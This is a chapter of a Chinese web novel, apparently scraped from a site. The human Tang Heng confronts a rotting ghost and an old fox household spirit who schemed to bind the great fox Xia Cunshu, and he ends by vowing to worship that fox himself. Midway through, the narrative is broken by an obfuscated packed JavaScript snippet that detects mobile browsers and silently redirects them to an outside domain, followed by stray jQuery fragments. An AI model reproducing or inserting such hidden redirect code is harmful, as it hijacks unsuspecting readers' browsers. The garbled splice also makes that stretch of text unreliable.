听完谢峰兰的话,唐恒试着掐了下夏存树的胳膊,期待对方能用以往那种调笑的语调,微笑回击。


    但此刻,他手中的皮肉弹性依旧,夏存树却被定格在原地,无法移动分毫。


    “你又做了什么!”唐恒转过头来,眼中带着无尽的愤怒,质问对面的罪魁祸首。


    谢峰兰用裸露出白骨的指节勾过脸颊上的发丝,带出一丝令人反胃的妩媚,“不过是我没做成的好事,我亲爱的老祖宗帮我做完了罢了。”


    随着她愈发尖锐的笑声,她身上散发出来的腐臭气息似乎也变得浓郁起来。


    “什么意思?”唐恒困惑警惕的目光在她身上扫视,余光时不时地落到胡二十七的神龛上。


    谢峰兰已经失去了作为人类的理智,对力量的渴望如同烈火灼烧着她的灵魂,被放大,放大,再放大,最终成为了盛放欲望的躯壳。


    锁住她的锁链还在起效,一双无形的大手将试图站起的她狠狠摁到半跪的姿势,谢峰兰不得不跪坐在地上,依着锁链。


    然而,在她做这一切之时,她的眼睛却一眨不眨地死死盯着夏存树。


    眼神中是满溢的贪欲与渴望,宛如饥饿的困兽见到了新鲜的肉块,害怕一眨眼,眼前的佳瑶就会消失不见。


    “哈哈,你吃了我的香,受了我的礼,怎么可能拿了供奉之后不做回应就走呢?我可是正正经经地在请你做我的保家仙啊!规则约束的是双方,我没有感受到你的回应,那你自然也走不了,除非把你所受的香火用别的方式还回来,否则……”


    她的目光犹如贪婪的毒蛇,一寸寸舔舐过夏存树微微敞开的衬衣下,那具完美的身体。


    恶心得唐恒都顾不得夏存树衬衣上那些被他蹭上去的脏东西,反手“唰”地给他把衬衣拉上,好像这样就能隔开谢峰兰的目光,把所有该遮的、不该遮的都遮得严严实实。


    夏存树的双眸原本已了无生机,却被唐恒这一动作,惹得又有了一丝若有若无的笑意。


    就是脸僵硬得笑不出来,舌头也动弹不得,整只狐狸像是一尊木头做的雕塑,单从脸上已看不出任何情绪的变化了。


    唐恒垂下眼,细细琢磨了一番谢峰兰说的“老祖宗帮我做完了”,扭头又看向不知何时已安静下来的神龛,眼神从疑惑转为了愤怒。


    “胡二十七,是不是你?!”唐恒的怒火话语间隙喷出,他光是想到那个毛茸茸包裹他的美梦,就觉得一阵不真实。


    明明胡二十七在那个“梦”里涕泗横流,百般懊恼,恼着自家出了逆子,祸害自家人不说,还出来祸害其他人……


    他面对唐恒也十分愧疚,因为不肖子孙不仅敢打大妖夏存树的主意,还连累了无辜的唐恒。都是因他无能,教子无方,才有了这样的祸事……


    他家出的恶种结出的恶果,也应当由他来解决。


    胡二十七愿祭出自己最后的力量,助唐恒一臂之力,若峰兰还是执迷不悟,那他也只能大义灭亲,以免她惹下更多的祸事。


    “毕竟,她是个死去多时的人,不应当留恋人间,我也要为家中还活着的孩子们着想……”胡二十七忧愁怅然又坚决的声音不绝萦绕在耳边。


    唐恒还记得那毛色灰暗,几乎没有什么光泽的尾巴,缠绕在自己身上时的温度。


    它不如夏存树的尾巴蓬大有力,但当时处于迷惘梦境中的自己,却从它身上得到了极大的力量。


    毛茸茸的尾巴如同黑暗中的隐隐烛火,帮助他破开厚重污浊的灰暗雾气,重新返回现世。


    就在唐恒咬牙质问胡二十七时,谢峰兰已经整理好了自己的面容,不再如逗留人间的恶鬼般狰狞,容颜已变回了为他们开门时的温婉妇人。


    只是隔着半个房间,还是能闻见她身上散发出来的剧烈恶臭,带着腐朽与堕落的气息,把整个房间的空气都变得污浊起来。


    令人作呕。


    甚至在她已经翻开的腐烂肌肤里,时不时还有蛆虫蠕动,蚕食着她腐烂的身体,也令她的皮肤凹凸不平,诡异起伏,可怖极了!


    唐恒偶尔瞄到那些蠕动,都会立刻移开视线,不敢细想。


    她面容恭敬地对着胡二十七盈盈下拜,那姿态宛如一名虔诚的信徒,在向高贵的神明祈求庇佑。


    她的每一个动作都充满了卑微与讨好,试图用自己的供奉来让她早就厌弃,又已经失去了所有尾巴的家仙,能多一些力量。


    这是她最后的救命稻草。


    在众人的瞩目下,胡二十七不知何时已端坐在了神龛中心,神情淡然,对她的谦卑熟若无睹,面容平静得仿佛之前的种种纷争都与他无关。


    即便唐恒已跨步走到了神龛跟前,伸手将他从狭小的神龛里十分不体面地拉扯出来时,他的表情依旧淡然悲悯。


    ——并不是唐恒所臆想的计谋得逞的模样,他的眼神里有着能看透世间的沧桑。


    面对谢峰兰如痴如狂的恭敬,胡二十七并不丰富的表情上甚至浮现出了一丝厌恶。


    “你已经不是我的主家了。”胡二十七说着,声音没什么起伏,却能品出其情绪下的冷漠。


    “什么?”谢峰兰还保持着恭敬的表象,脸上夸张的笑容还未褪去,就已经被她厌弃过的家仙反向厌弃了。她油腻的笑容凝固在脸上,显得格外滑稽。


    “你已经死了,我们家仙,只守护活着的家人,我会继续守护你的祖母,你的女儿,唯独不会再守护你。”胡二十七说完,哪怕还处于被唐恒生拉硬拽出来的狼狈模样,却也不再搭理谢峰兰。


    他面对唐恒的质问,到底还是有一丝愧意的,唐恒也看见了他眼神中的闪烁。


    “请家仙的术法,是我教她的,但她所知晓的并不是全部……的确是我将最后的关卡补齐……请不要这样看我,我到底还是谢家的家仙,在我妖力散尽之前,也想尽自己的绵薄之力,为谢家再留一位更强大的守护者。”胡二十七的声音低沉而无奈,诉说着这个无法言明的苦衷。


    所以你就顺着谢峰兰的阴谋诡计继续算计夏存树吗?!


    唐恒已然气得说不出话了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893414|172967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他的胸膛剧烈起伏,双手紧握,就连指甲都嵌入了掌心,却感觉不到一丝疼痛,因为那疼痛已被愤怒所掩盖。


    而面对一只妖力近无的小妖,暴力并不能解决任何问题。


    他想出手打醒胡二十七,可看着这只皱巴巴的小狐妖,跌跌撞撞连站都站不稳的模样,又让他忍了再忍,心中的怒火与无奈交织在一起,如同乱麻般缠绕在心头。


    唐恒到底还是放下了攥紧的拳头,也像被抽走了所有的力气。


    “怎么能这样……你们凭什么……一个两个的……凭什么都来算计他!就因为他是只厉害的大妖吗?就因为他广有善名,你们觉得算计他后,他也不会计较,也不会报复你们,是吗?”唐恒的声音细微地颤动起来。


    他不知道自己是用什么样的心情,什么样的状态说出的话,也不知道自己到底是在质问谁。


    不过一介凡人的他,此刻仿佛置身于一个黑暗的深渊,找不到出路。


    他回头望向连眼睛都逐渐变得无神的夏存树,试图从这只无所不能的大妖那里找到答案。


    可夏存树只是盘腿坐在那里,俊美无双的脸上无悲无喜,像一尊端坐于庙堂的金身法相。那宁静的面容,如同置身于另一个次元,与这充满纷争的世界隔绝开来。


    享受了供奉,就得给出回应吗?


    那他那么些年,那么多的狐仙庙,他也是一一回应了信徒的祈求吗?


    在过往的千年岁月里,也会有这样的无耻之徒,提出卑鄙的要求,组成一层层沉重的枷锁,最终压得他喘不过气来吗?


    “……那就由我来。”唐恒的眼神中闪过一丝坚定,如同夜空中闪耀的星辰。


    既然你们都觊觎他的力量,都希望他的力量为己所用,那为什么不能让我来?


    唐恒反手擦去眼尾的湿意,也擦去了周身的软弱。


    他走到夏存树面前,居高临下地俯视着那张俊美依旧的脸,那容颜在昏暗的光线中散发着迷人的光泽,仿佛有一种无形的魔力,吸引着唐恒的目光。


    好像一直都是你在保护我。


    唐恒笑了笑。


    那没办法了,他想,以后,你可没有别的选择,只能一直这样保护我了。


    唐恒从谢氏神龛前的香炉里抽出的三支还没燃尽的香,重新点燃。


    袅袅青烟缓缓升起,带着他的决心与诚意,如同一条无形的纽带,连接着他与夏存树的命运。


    他站在夏存树的面前尊敬拜下,姿态庄重而虔诚,向神明许下了最真挚的誓言。


    “我,唐恒……”


    啧……


    真说出口还是感觉好羞耻啊!


    唐恒把没说完的话咽了回去,撇了一眼夏存树,也不知道他听到没,羞耻感如同潮水般涌上心头。


    他再度酝酿了一番,还是下不了决心说那么羞耻的台词,最终十分小声且飞快地念道:


    “在下唐恒,愿以真心,供奉狐仙夏存树为我的家仙,今后风雨同舟,患难与共,共同富裕。”